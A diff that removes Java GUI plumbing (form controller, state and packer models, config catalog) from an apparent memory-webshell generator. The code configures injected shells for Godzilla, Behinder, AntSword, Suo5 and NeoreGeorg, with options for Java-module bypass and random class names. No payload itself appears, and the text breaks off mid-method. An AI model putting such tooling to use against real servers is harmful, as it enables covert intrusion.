import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
|
||||
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
public class MemShellFormController {
|
||||
private final ConfigCatalogService configCatalogService;
|
||||
private final MemShellValidator validator;
|
||||
private final ConfigCatalogService.ConfigCatalog catalog;
|
||||
private final MemShellFormState state = new MemShellFormState();
|
||||
|
||||
public MemShellFormController(ConfigCatalogService configCatalogService, MemShellValidator validator) {
|
||||
this.configCatalogService = configCatalogService;
|
||||
this.validator = validator;
|
||||
this.catalog = configCatalogService.load();
|
||||
reconcileAfterServerChange(true);
|
||||
reconcilePackerSelection();
|
||||
}
|
||||
|
||||
public ConfigCatalogService getConfigCatalogService() { return configCatalogService; }
|
||||
public MemShellFormState getState() { return state; }
|
||||
public ConfigCatalogService.ConfigCatalog getCatalog() { return catalog; }
|
||||
public MemShellValidator getValidator() { return validator; }
|
||||
|
||||
public List<String> getServers() {
|
||||
return new ArrayList<>(catalog.getServers().keySet());
|
||||
}
|
||||
|
||||
public List<String> getServerVersionOptions() {
|
||||
return configCatalogService.getServerVersionOptions(state.getServer());
|
||||
}
|
||||
|
||||
public List<String> getShellTools() {
|
||||
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
|
||||
if (toolMap == null) return Collections.emptyList();
|
||||
LinkedHashSet<String> tools = new LinkedHashSet<>(toolMap.keySet());
|
||||
tools.add(ShellTool.Custom);
|
||||
return new ArrayList<>(tools);
|
||||
}
|
||||
|
||||
public List<String> getCustomShellTypes() {
|
||||
List<String> values = catalog.getServers().get(state.getServer());
|
||||
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
|
||||
}
|
||||
|
||||
public List<String> getShellTypesForCurrentTool() {
|
||||
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
|
||||
if (toolMap == null) return Collections.emptyList();
|
||||
if (ShellTool.Custom.equals(state.getShellTool())) {
|
||||
return getCustomShellTypes();
|
||||
}
|
||||
List<String> values = toolMap.get(state.getShellTool());
|
||||
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
|
||||
}
|
||||
|
||||
public List<PackerEntryModel> getFilteredPackers() {
|
||||
List<PackerEntryModel> out = new ArrayList<>();
|
||||
for (PackerCategoryModel c : catalog.getPackers()) {
|
||||
for (PackerEntryModel p : c.getPackers()) {
|
||||
if (p.isCategoryAnchor()) continue;
|
||||
String name = p.getName();
|
||||
String shellType = state.getShellType();
|
||||
String server = state.getServer();
|
||||
if (shellType != null && shellType.startsWith("Agent")) {
|
||||
if (name.startsWith("Agent")) out.add(p);
|
||||
continue;
|
||||
}
|
||||
if (server != null && server.startsWith("XXL")) {
|
||||
if (!name.startsWith("Agent")) out.add(p);
|
||||
continue;
|
||||
}
|
||||
if (!name.startsWith("Agent") && !name.toLowerCase(Locale.ROOT).startsWith("xxl")) {
|
||||
out.add(p);
|
||||
}
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
public PackerEntryModel getSelectedPackerEntry() {
|
||||
String selected = state.getPackingMethod();
|
||||
if (selected == null || selected.trim().isEmpty()) return null;
|
||||
for (PackerCategoryModel c : catalog.getPackers()) {
|
||||
for (PackerEntryModel p : c.getPackers()) {
|
||||
if (selected.equals(p.getName())) return p;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public List<PackerSchemaFieldModel> getSelectedPackerFields() {
|
||||
PackerEntryModel p = getSelectedPackerEntry();
|
||||
return p == null ? Collections.<PackerSchemaFieldModel>emptyList() : p.getFields();
|
||||
}
|
||||
|
||||
public List<String> getCommandEncryptors() { return catalog.getCommandEncryptors(); }
|
||||
public List<String> getCommandImplementationClasses() { return catalog.getCommandImplementationClasses(); }
|
||||
|
||||
public void setServer(String server) {
|
||||
state.setServer(server);
|
||||
reconcileAfterServerChange(false);
|
||||
reconcilePackerSelection();
|
||||
}
|
||||
|
||||
public void setServerVersion(String version) { state.setServerVersion(version); }
|
||||
|
||||
public void setTargetJdkVersion(String value) {
|
||||
state.setTargetJdkVersion(value);
|
||||
try {
|
||||
state.setByPassJavaModule(Integer.parseInt(value) >= 53);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public void setShellTool(String tool) {
|
||||
handleShellToolChange(tool);
|
||||
reconcilePackerSelection();
|
||||
}
|
||||
|
||||
public void setShellType(String shellType) {
|
||||
state.setShellType(shellType);
|
||||
state.setUrlPattern("");
|
||||
reconcilePackerSelection();
|
||||
}
|
||||
|
||||
public void setUrlPattern(String urlPattern) { state.setUrlPattern(urlPattern); }
|
||||
public void setDebug(boolean value) { state.setDebug(value); }
|
||||
public void setProbe(boolean value) { state.setProbe(value); }
|
||||
public void setByPassJavaModule(boolean value) { state.setByPassJavaModule(value); }
|
||||
public void setLambdaSuffix(boolean value) { state.setLambdaSuffix(value); }
|
||||
public void setShrink(boolean value) { state.setShrink(value); }
|
||||
public void setStaticInitialize(boolean value) { state.setStaticInitialize(value); }
|
||||
|
||||
public void setGodzillaPass(String v) { state.setGodzillaPass(v); }
|
||||
public void setGodzillaKey(String v) { state.setGodzillaKey(v); }
|
||||
public void setBehinderPass(String v) { state.setBehinderPass(v); }
|
||||
public void setAntSwordPass(String v) { state.setAntSwordPass(v); }
|
||||
public void setCommandParamName(String v) { state.setCommandParamName(v); }
|
||||
public void setCommandTemplate(String v) { state.setCommandTemplate(v); }
|
||||
public void setHeaderName(String v) { state.setHeaderName(v); }
|
||||
public void setHeaderValue(String v) { state.setHeaderValue(v); }
|
||||
public void setShellClassBase64(String v) { state.setShellClassBase64(v); }
|
||||
public void setEncryptor(String v) { state.setEncryptor(v); }
|
||||
public void setImplementationClass(String v) { state.setImplementationClass(v); }
|
||||
|
||||
public void setShellClassName(String v) {
|
||||
state.setShellClassName(v);
|
||||
autoDisableRandomIfManualNames();
|
||||
}
|
||||
|
||||
public void setInjectorClassName(String v) {
|
||||
state.setInjectorClassName(v);
|
||||
autoDisableRandomIfManualNames();
|
||||
}
|
||||
|
||||
public void setRandomClassName(boolean checked) {
|
||||
state.setRandomClassName(checked);
|
||||
if (checked) {
|
||||
state.setSavedShellClassName(state.getShellClassName());
|
||||
state.setSavedInjectorClassName(state.getInjectorClassName());
|
||||
state.setShellClassName("");
|
||||
state.setInjectorClassName("");
|
||||
} else {
|
||||
state.setShellClassName(state.getSavedShellClassName());
|
||||
state.setInjectorClassName(state.getSavedInjectorClassName());
|
||||
}
|
||||
}
|
||||
|
||||
public void setCustomInputMode(String mode) { state.setCustomInputMode(mode); }
|
||||
|
||||
public void setPacker(String packerName) {
|
||||
state.setPackingMethod(packerName);
|
||||
resetPackerCustomConfigToDefaults();
|
||||
}
|
||||
|
||||
public void setPackerCustomField(String key, Object value) {
|
||||
if (value == null) {
|
||||
state.getPackerCustomConfig().remove(key);
|
||||
} else {
|
||||
state.getPackerCustomConfig().put(key, value);
|
||||
}
|
||||
}
|
||||
|
||||
public Map<String, Object> getPackerCustomConfig() { return state.getPackerCustomConfig(); }
|
||||
|
||||
public boolean isUrlPatternVisible() {
|
||||
return validator.needsUrlPattern(state.getShellType());
|
||||
}
|
||||
|
||||
public boolean isCommandHeaderVisible() {
|
||||
return "BypassNginxWebSocket".equals(state.getShellType()) || "BypassNginxJakartaWebSocket".equals(state.getShellType());
|
||||
}
|
||||
|
||||
public boolean isProxyHeaderVisible() { return isCommandHeaderVisible(); }
|
||||
|
||||
public boolean isCommandParamVisible() {
|
||||
return state.getShellType() == null || !state.getShellType().contains("WebSocket");
|
||||
}
|
||||
|
||||
public MemShellValidator.Result validate() { return validator.validate(state); }
|
||||
|
||||
private void reconcileAfterServerChange(boolean initial) {
|
||||
List<String> serverVersions = getServerVersionOptions();
|
||||
if (!serverVersions.contains(state.getServerVersion())) {
|
||||
state.setServerVersion(serverVersions.get(0));
|
||||
}
|
||||
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
|
||||
if (toolMap == null || toolMap.isEmpty()) {
|
||||
return;
|
||||
}
|
||||
List<String> toolKeys = new ArrayList<>(toolMap.keySet());
|
||||
String currentTool = state.getShellTool();
|
||||
String nextTool = toolMap.containsKey(currentTool) ? currentTool : toolKeys.get(0);
|
||||
state.setShellTool(nextTool);
|
||||
|
||||
String currentTargetJdk = state.getTargetJdkVersion();
|
||||
int currentJdk = parseInt(currentTargetJdk, 50);
|
||||
boolean raise = ("SpringWebFlux".equals(state.getServer()) || "XXLJOB".equals(state.getServer())) && currentJdk <= 52;
|
||||
state.setTargetJdkVersion(raise ? "52" : "50");
|
||||
state.setByPassJavaModule(parseInt(state.getTargetJdkVersion(), 50) >= 53);
|
||||
if (!initial) {
|
||||
state.setUrlPattern("");
|
||||
}
|
||||
|
||||
if (!serverVersions.contains(state.getServerVersion())) {
|
||||
state.setServerVersion(serverVersions.get(0));
|
||||
}
|
||||
ensureShellTypeValidForCurrentTool();
|
||||
}
|
||||
|
||||
private void ensureShellTypeValidForCurrentTool() {
|
||||
List<String> shellTypes = getShellTypesForCurrentTool();
|
||||
if (shellTypes.isEmpty()) {
|
||||
state.setShellType("");
|
||||
return;
|
||||
}
|
||||
if (!shellTypes.contains(state.getShellType())) {
|
||||
state.setShellType(shellTypes.get(0));
|
||||
}
|
||||
}
|
||||
|
||||
private void handleShellToolChange(String value) {
|
||||
if (value == null || value.trim().isEmpty()) return;
|
||||
|
||||
state.setUrlPattern("");
|
||||
state.setShellClassName("");
|
||||
state.setInjectorClassName("");
|
||||
|
||||
if (ShellTool.Command.equals(value)) {
|
||||
state.setCommandParamName("");
|
||||
state.setImplementationClass("");
|
||||
state.setEncryptor("");
|
||||
} else if (ShellTool.Godzilla.equals(value)) {
|
||||
state.setGodzillaKey("");
|
||||
state.setGodzillaPass("");
|
||||
state.setHeaderName("User-Agent");
|
||||
state.setHeaderValue("");
|
||||
} else if (ShellTool.Behinder.equals(value)) {
|
||||
state.setBehinderPass("");
|
||||
state.setHeaderName("User-Agent");
|
||||
state.setHeaderValue("");
|
||||
} else if (ShellTool.Suo5.equals(value) || ShellTool.Suo5v2.equals(value)) {
|
||||
state.setHeaderName("User-Agent");
|
||||
state.setHeaderValue("");
|
||||
} else if (ShellTool.AntSword.equals(value)) {
|
||||
state.setAntSwordPass("");
|
||||
state.setHeaderName("User-Agent");
|
||||
state.setHeaderValue("");
|
||||
} else if (ShellTool.NeoreGeorg.equals(value)) {
|
||||
state.setHeaderName("Referer");
|
||||
state.setHeaderValue("");
|
||||
} else if (ShellTool.Custom.equals(value)) {
|
||||
state.setShellClassBase64("");
|
||||
} else if (ShellTool.Proxy.equals(value)) {
|
||||
state.setHeaderName("User-Agent");
|
||||
state.setHeaderValue("");
|
||||
}
|
||||
|
||||
state.setShellTool(value);
|
||||
ensureShellTypeValidForCurrentTool();
|
||||
}
|
||||
|
||||
private void reconcilePackerSelection() {
|
||||
List<PackerEntryModel> filtered = getFilteredPackers();
|
||||
if (filtered.isEmpty()) {
|
||||
state.setPackingMethod("");
|
||||
state.getPackerCustomConfig().clear();
|
||||
return;
|
||||
}
|
||||
boolean exists = filtered.stream().anyMatch(p -> p.getName().equals(state.getPackingMethod()));
|
||||
if (!exists) {
|
||||
state.setPackingMethod(filtered.get(0).getName());
|
||||
resetPackerCustomConfigToDefaults();
|
||||
} else if (state.getPackerCustomConfig().isEmpty()) {
|
||||
resetPackerCustomConfigToDefaults();
|
||||
}
|
||||
}
|
||||
|
||||
private void resetPackerCustomConfigToDefaults() {
|
||||
state.getPackerCustomConfig().clear();
|
||||
PackerEntryModel selected = getSelectedPackerEntry();
|
||||
if (selected != null) {
|
||||
state.getPackerCustomConfig().putAll(selected.getDefaultConfig());
|
||||
}
|
||||
}
|
||||
|
||||
private void autoDisableRandomIfManualNames() {
|
||||
if (state.isRandomClassName() && (!state.getShellClassName().trim().isEmpty() || !state.getInjectorClassName().trim().isEmpty())) {
|
||||
state.setRandomClassName(false);
|
||||
}
|
||||
if (!state.isRandomClassName()) {
|
||||
state.setSavedShellClassName(state.getShellClassName());
|
||||
state.setSavedInjectorClassName(state.getInjectorClassName());
|
||||
}
|
||||
}
|
||||
|
||||
private int parseInt(String v, int d) {
|
||||
try {
|
||||
return Integer.parseInt(v);
|
||||
} catch (Exception e) {
|
||||
return d;
|
||||
}
|
||||
}
|
||||
}
|
||||
-25
@@ -1,25 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.model;
|
||||
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
|
||||
public class DesktopMemShellGenerateResult {
|
||||
private final MemShellResult memShellResult;
|
||||
private final String packMethod;
|
||||
private final String packResult;
|
||||
private final boolean jarOutput;
|
||||
private final boolean agentOutput;
|
||||
|
||||
public DesktopMemShellGenerateResult(MemShellResult memShellResult, String packMethod, String packResult) {
|
||||
this.memShellResult = memShellResult;
|
||||
this.packMethod = packMethod;
|
||||
this.packResult = packResult;
|
||||
this.jarOutput = packMethod != null && packMethod.endsWith("Jar");
|
||||
this.agentOutput = packMethod != null && packMethod.startsWith("Agent");
|
||||
}
|
||||
|
||||
public MemShellResult getMemShellResult() { return memShellResult; }
|
||||
public String getPackMethod() { return packMethod; }
|
||||
public String getPackResult() { return packResult; }
|
||||
public boolean isJarOutput() { return jarOutput; }
|
||||
public boolean isAgentOutput() { return agentOutput; }
|
||||
}
|
||||
-145
@@ -1,145 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.model;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class MemShellFormState {
|
||||
private String server = "Tomcat";
|
||||
private String serverVersion = "Unknown";
|
||||
private String targetJdkVersion = "50";
|
||||
private boolean debug;
|
||||
private boolean byPassJavaModule;
|
||||
private boolean probe;
|
||||
private boolean lambdaSuffix;
|
||||
private boolean shrink = true;
|
||||
private boolean staticInitialize = true;
|
||||
|
||||
private String shellTool = "Godzilla";
|
||||
private String shellType = "Listener";
|
||||
private String urlPattern = "/*";
|
||||
|
||||
private String shellClassName = "";
|
||||
private String injectorClassName = "";
|
||||
|
||||
private String godzillaPass = "";
|
||||
private String godzillaKey = "";
|
||||
private String behinderPass = "";
|
||||
private String antSwordPass = "";
|
||||
private String commandParamName = "";
|
||||
private String commandTemplate = "";
|
||||
private String headerName = "User-Agent";
|
||||
private String headerValue = "";
|
||||
private String shellClassBase64 = "";
|
||||
private String encryptor = "";
|
||||
private String implementationClass = "";
|
||||
|
||||
private String packingMethod = "";
|
||||
private final Map<String, Object> packerCustomConfig = new LinkedHashMap<>();
|
||||
|
||||
private boolean randomClassName = true;
|
||||
private String customInputMode = "base64";
|
||||
|
||||
private String savedShellClassName = "";
|
||||
private String savedInjectorClassName = "";
|
||||
|
||||
public MemShellFormState copy() {
|
||||
MemShellFormState c = new MemShellFormState();
|
||||
c.server = server;
|
||||
c.serverVersion = serverVersion;
|
||||
c.targetJdkVersion = targetJdkVersion;
|
||||
c.debug = debug;
|
||||
c.byPassJavaModule = byPassJavaModule;
|
||||
c.probe = probe;
|
||||
c.lambdaSuffix = lambdaSuffix;
|
||||
c.shrink = shrink;
|
||||
c.staticInitialize = staticInitialize;
|
||||
c.shellTool = shellTool;
|
||||
c.shellType = shellType;
|
||||
c.urlPattern = urlPattern;
|
||||
c.shellClassName = shellClassName;
|
||||
c.injectorClassName = injectorClassName;
|
||||
c.godzillaPass = godzillaPass;
|
||||
c.godzillaKey = godzillaKey;
|
||||
c.behinderPass = behinderPass;
|
||||
c.antSwordPass = antSwordPass;
|
||||
c.commandParamName = commandParamName;
|
||||
c.commandTemplate = commandTemplate;
|
||||
c.headerName = headerName;
|
||||
c.headerValue = headerValue;
|
||||
c.shellClassBase64 = shellClassBase64;
|
||||
c.encryptor = encryptor;
|
||||
c.implementationClass = implementationClass;
|
||||
c.packingMethod = packingMethod;
|
||||
c.packerCustomConfig.putAll(packerCustomConfig);
|
||||
c.randomClassName = randomClassName;
|
||||
c.customInputMode = customInputMode;
|
||||
c.savedShellClassName = savedShellClassName;
|
||||
c.savedInjectorClassName = savedInjectorClassName;
|
||||
return c;
|
||||
}
|
||||
|
||||
public Map<String, Object> getPackerCustomConfig() { return packerCustomConfig; }
|
||||
|
||||
public String getServer() { return server; }
|
||||
public void setServer(String server) { this.server = server; }
|
||||
public String getServerVersion() { return serverVersion; }
|
||||
public void setServerVersion(String serverVersion) { this.serverVersion = serverVersion; }
|
||||
public String getTargetJdkVersion() { return targetJdkVersion; }
|
||||
public void setTargetJdkVersion(String targetJdkVersion) { this.targetJdkVersion = targetJdkVersion; }
|
||||
public boolean isDebug() { return debug; }
|
||||
public void setDebug(boolean debug) { this.debug = debug; }
|
||||
public boolean isByPassJavaModule() { return byPassJavaModule; }
|
||||
public void setByPassJavaModule(boolean byPassJavaModule) { this.byPassJavaModule = byPassJavaModule; }
|
||||
public boolean isProbe() { return probe; }
|
||||
public void setProbe(boolean probe) { this.probe = probe; }
|
||||
public boolean isLambdaSuffix() { return lambdaSuffix; }
|
||||
public void setLambdaSuffix(boolean lambdaSuffix) { this.lambdaSuffix = lambdaSuffix; }
|
||||
public boolean isShrink() { return shrink; }
|
||||
public void setShrink(boolean shrink) { this.shrink = shrink; }
|
||||
public boolean isStaticInitialize() { return staticInitialize; }
|
||||
public void setStaticInitialize(boolean staticInitialize) { this.staticInitialize = staticInitialize; }
|
||||
public String getShellTool() { return shellTool; }
|
||||
public void setShellTool(String shellTool) { this.shellTool = shellTool; }
|
||||
public String getShellType() { return shellType; }
|
||||
public void setShellType(String shellType) { this.shellType = shellType; }
|
||||
public String getUrlPattern() { return urlPattern; }
|
||||
public void setUrlPattern(String urlPattern) { this.urlPattern = urlPattern; }
|
||||
public String getShellClassName() { return shellClassName; }
|
||||
public void setShellClassName(String shellClassName) { this.shellClassName = shellClassName == null ? "" : shellClassName; }
|
||||
public String getInjectorClassName() { return injectorClassName; }
|
||||
public void setInjectorClassName(String injectorClassName) { this.injectorClassName = injectorClassName == null ? "" : injectorClassName; }
|
||||
public String getGodzillaPass() { return godzillaPass; }
|
||||
public void setGodzillaPass(String godzillaPass) { this.godzillaPass = nv(godzillaPass); }
|
||||
public String getGodzillaKey() { return godzillaKey; }
|
||||
public void setGodzillaKey(String godzillaKey) { this.godzillaKey = nv(godzillaKey); }
|
||||
public String getBehinderPass() { return behinderPass; }
|
||||
public void setBehinderPass(String behinderPass) { this.behinderPass = nv(behinderPass); }
|
||||
public String getAntSwordPass() { return antSwordPass; }
|
||||
public void setAntSwordPass(String antSwordPass) { this.antSwordPass = nv(antSwordPass); }
|
||||
public String getCommandParamName() { return commandParamName; }
|
||||
public void setCommandParamName(String commandParamName) { this.commandParamName = nv(commandParamName); }
|
||||
public String getCommandTemplate() { return commandTemplate; }
|
||||
public void setCommandTemplate(String commandTemplate) { this.commandTemplate = nv(commandTemplate); }
|
||||
public String getHeaderName() { return headerName; }
|
||||
public void setHeaderName(String headerName) { this.headerName = nv(headerName); }
|
||||
public String getHeaderValue() { return headerValue; }
|
||||
public void setHeaderValue(String headerValue) { this.headerValue = nv(headerValue); }
|
||||
public String getShellClassBase64() { return shellClassBase64; }
|
||||
public void setShellClassBase64(String shellClassBase64) { this.shellClassBase64 = nv(shellClassBase64); }
|
||||
public String getEncryptor() { return encryptor; }
|
||||
public void setEncryptor(String encryptor) { this.encryptor = nv(encryptor); }
|
||||
public String getImplementationClass() { return implementationClass; }
|
||||
public void setImplementationClass(String implementationClass) { this.implementationClass = nv(implementationClass); }
|
||||
public String getPackingMethod() { return packingMethod; }
|
||||
public void setPackingMethod(String packingMethod) { this.packingMethod = nv(packingMethod); }
|
||||
public boolean isRandomClassName() { return randomClassName; }
|
||||
public void setRandomClassName(boolean randomClassName) { this.randomClassName = randomClassName; }
|
||||
public String getCustomInputMode() { return customInputMode; }
|
||||
public void setCustomInputMode(String customInputMode) { this.customInputMode = nv(customInputMode); }
|
||||
public String getSavedShellClassName() { return savedShellClassName; }
|
||||
public void setSavedShellClassName(String savedShellClassName) { this.savedShellClassName = nv(savedShellClassName); }
|
||||
public String getSavedInjectorClassName() { return savedInjectorClassName; }
|
||||
public void setSavedInjectorClassName(String savedInjectorClassName) { this.savedInjectorClassName = nv(savedInjectorClassName); }
|
||||
|
||||
private static String nv(String v) { return v == null ? "" : v; }
|
||||
}
|
||||
-15
@@ -1,15 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.model;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class PackerCategoryModel {
|
||||
private String name;
|
||||
private final List<PackerEntryModel> packers = new ArrayList<>();
|
||||
|
||||
public PackerCategoryModel() {}
|
||||
public PackerCategoryModel(String name) { this.name = name; }
|
||||
public String getName() { return name; }
|
||||
public void setName(String name) { this.name = name; }
|
||||
public List<PackerEntryModel> getPackers() { return packers; }
|
||||
}
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.model;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
public class PackerEntryModel {
|
||||
private String categoryName;
|
||||
private String name;
|
||||
private String outputKind;
|
||||
private boolean categoryAnchor;
|
||||
private final List<PackerSchemaFieldModel> fields = new ArrayList<>();
|
||||
private final Map<String, Object> defaultConfig = new LinkedHashMap<>();
|
||||
|
||||
public String getCategoryName() { return categoryName; }
|
||||
public void setCategoryName(String categoryName) { this.categoryName = categoryName; }
|
||||
public String getName() { return name; }
|
||||
public void setName(String name) { this.name = name; }
|
||||
public String getOutputKind() { return outputKind; }
|
||||
public void setOutputKind(String outputKind) { this.outputKind = outputKind; }
|
||||
public boolean isCategoryAnchor() { return categoryAnchor; }
|
||||
public void setCategoryAnchor(boolean categoryAnchor) { this.categoryAnchor = categoryAnchor; }
|
||||
public List<PackerSchemaFieldModel> getFields() { return fields; }
|
||||
public Map<String, Object> getDefaultConfig() { return defaultConfig; }
|
||||
|
||||
public String displayLabel() {
|
||||
return categoryName == null || categoryName.equals(name) ? name : categoryName + " / " + name;
|
||||
}
|
||||
}
|
||||
-43
@@ -1,43 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.model;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class PackerSchemaFieldModel {
|
||||
public static class Option {
|
||||
private String value;
|
||||
private String label;
|
||||
|
||||
public Option() {}
|
||||
public Option(String value, String label) {
|
||||
this.value = value;
|
||||
this.label = label;
|
||||
}
|
||||
public String getValue() { return value; }
|
||||
public void setValue(String value) { this.value = value; }
|
||||
public String getLabel() { return label; }
|
||||
public void setLabel(String label) { this.label = label; }
|
||||
}
|
||||
|
||||
private String key;
|
||||
private String type;
|
||||
private boolean required;
|
||||
private Object defaultValue;
|
||||
private String description;
|
||||
private String descriptionI18nKey;
|
||||
private final List<Option> options = new ArrayList<>();
|
||||
|
||||
public String getKey() { return key; }
|
||||
public void setKey(String key) { this.key = key; }
|
||||
public String getType() { return type; }
|
||||
public void setType(String type) { this.type = type; }
|
||||
public boolean isRequired() { return required; }
|
||||
public void setRequired(boolean required) { this.required = required; }
|
||||
public Object getDefaultValue() { return defaultValue; }
|
||||
public void setDefaultValue(Object defaultValue) { this.defaultValue = defaultValue; }
|
||||
public String getDescription() { return description; }
|
||||
public void setDescription(String description) { this.description = description; }
|
||||
public String getDescriptionI18nKey() { return descriptionI18nKey; }
|
||||
public void setDescriptionI18nKey(String descriptionI18nKey) { this.descriptionI18nKey = descriptionI18nKey; }
|
||||
public List<Option> getOptions() { return options; }
|
||||
}
|
||||
-127
@@ -1,127 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.service;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.spec.PackerFieldSchema;
|
||||
import com.reajason.javaweb.packer.spec.PackerOptionValue;
|
||||
import com.reajason.javaweb.packer.spec.PackerSchema;
|
||||
|
||||
import java.util.*;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class ConfigCatalogService {
|
||||
|
||||
public static class ConfigCatalog {
|
||||
private final Map<String, List<String>> servers;
|
||||
private final Map<String, Map<String, List<String>>> core;
|
||||
private final List<PackerCategoryModel> packers;
|
||||
private final List<String> commandEncryptors;
|
||||
private final List<String> commandImplementationClasses;
|
||||
|
||||
public ConfigCatalog(Map<String, List<String>> servers,
|
||||
Map<String, Map<String, List<String>>> core,
|
||||
List<PackerCategoryModel> packers,
|
||||
List<String> commandEncryptors,
|
||||
List<String> commandImplementationClasses) {
|
||||
this.servers = servers;
|
||||
this.core = core;
|
||||
this.packers = packers;
|
||||
this.commandEncryptors = commandEncryptors;
|
||||
this.commandImplementationClasses = commandImplementationClasses;
|
||||
}
|
||||
|
||||
public Map<String, List<String>> getServers() { return servers; }
|
||||
public Map<String, Map<String, List<String>>> getCore() { return core; }
|
||||
public List<PackerCategoryModel> getPackers() { return packers; }
|
||||
public List<String> getCommandEncryptors() { return commandEncryptors; }
|
||||
public List<String> getCommandImplementationClasses() { return commandImplementationClasses; }
|
||||
}
|
||||
|
||||
public ConfigCatalog load() {
|
||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||
Map<String, Map<String, List<String>>> core = new LinkedHashMap<>();
|
||||
|
||||
for (String serverName : ServerFactory.getSupportedServers()) {
|
||||
AbstractServer server = ServerFactory.getServer(serverName);
|
||||
if (server == null) {
|
||||
continue;
|
||||
}
|
||||
List<String> shellTypes = new ArrayList<>(server.getShellInjectorMapping().getSupportedShellTypes());
|
||||
servers.put(serverName, shellTypes);
|
||||
|
||||
Map<String, List<String>> toolMap = new LinkedHashMap<>();
|
||||
for (String tool : server.getSupportedShellTools()) {
|
||||
List<String> types = new ArrayList<>(server.getSupportedShellTypes(tool));
|
||||
if (!types.isEmpty()) {
|
||||
toolMap.put(tool, types);
|
||||
}
|
||||
}
|
||||
core.put(serverName, toolMap);
|
||||
}
|
||||
|
||||
List<PackerCategoryModel> packerModels = new ArrayList<>();
|
||||
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
|
||||
PackerCategoryModel category = new PackerCategoryModel(entry.getKey());
|
||||
for (Packers packerEnum : entry.getValue()) {
|
||||
PackerEntryModel p = new PackerEntryModel();
|
||||
p.setCategoryName(entry.getKey());
|
||||
p.setName(packerEnum.name());
|
||||
p.setOutputKind(packerEnum.getOutputKind());
|
||||
p.setCategoryAnchor(packerEnum.hasChildren());
|
||||
PackerSchema schema = packerEnum.getSchema();
|
||||
if (schema != null) {
|
||||
p.getDefaultConfig().putAll(schema.getDefaultConfig());
|
||||
for (PackerFieldSchema field : schema.getFields()) {
|
||||
PackerSchemaFieldModel f = new PackerSchemaFieldModel();
|
||||
f.setKey(field.getKey());
|
||||
f.setType(field.getType() == null ? null : field.getType().name());
|
||||
f.setRequired(field.isRequired());
|
||||
f.setDefaultValue(field.getDefaultValue());
|
||||
f.setDescription(field.getDescription());
|
||||
f.setDescriptionI18nKey(field.getDescriptionI18nKey());
|
||||
for (PackerOptionValue option : field.getOptions()) {
|
||||
f.getOptions().add(new PackerSchemaFieldModel.Option(option.getValue(), option.getLabel()));
|
||||
}
|
||||
p.getFields().add(f);
|
||||
}
|
||||
}
|
||||
category.getPackers().add(p);
|
||||
}
|
||||
packerModels.add(category);
|
||||
}
|
||||
|
||||
List<String> encryptors = Arrays.stream(CommandConfig.Encryptor.values()).map(Enum::name).collect(Collectors.toList());
|
||||
List<String> impls = Arrays.stream(CommandConfig.ImplementationClass.values()).map(Enum::name).collect(Collectors.toList());
|
||||
|
||||
return new ConfigCatalog(servers, core, packerModels, encryptors, impls);
|
||||
}
|
||||
|
||||
public List<String> getServerVersionOptions(String server) {
|
||||
if ("TongWeb".equals(server)) {
|
||||
return Arrays.asList("6", "7", "8");
|
||||
}
|
||||
if ("Jetty".equals(server)) {
|
||||
return Arrays.asList("6", "7+", "12");
|
||||
}
|
||||
return Collections.singletonList("Unknown");
|
||||
}
|
||||
|
||||
public List<String> getTargetJdkOptions() {
|
||||
return Arrays.asList("50", "52", "53", "55", "61", "65");
|
||||
}
|
||||
|
||||
public String getTargetJdkLabel(String value) {
|
||||
if ("50".equals(value)) return "Java6";
|
||||
if ("52".equals(value)) return "Java8";
|
||||
if ("53".equals(value)) return "Java9";
|
||||
if ("55".equals(value)) return "Java11";
|
||||
if ("61".equals(value)) return "Java17";
|
||||
if ("65".equals(value)) return "Java21";
|
||||
return value;
|
||||
}
|
||||
}
|
||||
-22
@@ -1,22 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.service;
|
||||
|
||||
import net.bytebuddy.jar.asm.ClassReader;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
public class CustomClassNameParser {
|
||||
public String parseClassNameFromBase64(String classBase64) {
|
||||
if (classBase64 == null || classBase64.trim().isEmpty()) {
|
||||
throw new IllegalArgumentException("class base64 is empty");
|
||||
}
|
||||
byte[] bytes = Base64.getDecoder().decode(classBase64);
|
||||
return parseClassName(bytes);
|
||||
}
|
||||
|
||||
public String parseClassName(byte[] classBytes) {
|
||||
